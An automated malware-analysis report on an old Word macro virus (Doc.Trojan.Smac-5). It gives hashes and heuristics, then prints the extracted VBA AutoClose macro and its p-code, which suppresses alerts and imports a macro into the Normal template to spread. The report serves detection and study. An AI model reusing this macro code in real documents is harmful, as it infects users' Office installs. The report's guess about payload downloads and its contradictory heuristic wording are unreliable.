Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09f8019ef46a6483…

MALICIOUS

Office (OLE)

38.0 KB Created: 1998-12-08 09:58:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 952e8e3bbb63a072b3fee4fc37451b10 SHA-1: f6f0f7a0e2b8fa82eca9ba4f982ded6e9a9816af SHA-256: 09f8019ef46a6483a0cf8b9ddb8ccc0aa0a2f50147b764e075ac5b053b0d04e6
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoClose macro is designed to import a new macro named 'NewMacro.txt' into either the Normal template or the active document, and then save the document. This behavior strongly suggests an attempt to establish persistence or download and execute a secondary payload. The use of legacy WordBasic markers and VBA macros points to a macro-based malware delivery mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Smac-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Smac-5
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3799 bytes
SHA-256: 9fdf49bc250601035de05fa182b59a14749077af8b3ae46fb9d504481877669e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Macro_Run"
Sub AutoClose()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Pad = Options.DefaultFilePath(wdDocumentsPath)
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "NewMacro" Then ActiveInstall = True
Next I
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import Pad + ("/NewMacro.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import Pad + ("/NewMacro.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

' Processing file: /opt/analyzer/scan_staging/7e34f1b90f24411cabca740c5b8710a3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/Macro_Run - 1977 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #3:
' 	Ld wdDocumentsPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad 
' Line #4:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #5:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "NewMacro"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #6:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #7:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #8:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "NewMacro"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActiveInstall 
' 	EndIf 
' Line #9:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	Ld ActiveInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #11:
' 	Ld NormInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #12:
' 	Ld Pad 
' 	LitStr 0x000D "/NewMacro.txt"
' 	Paren 
' 	Add 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #13:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #14:
' 	ElseBlock 
' Line #15:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St Dname 
' Line #16:
' 	Ld Dname 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #17:
' 	Ld Pad 
' 	LitStr 0x000D "/NewMacro.txt"
' 	Paren 
' 	Add 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #18:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	Label Label_Exit 
' Line #21:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.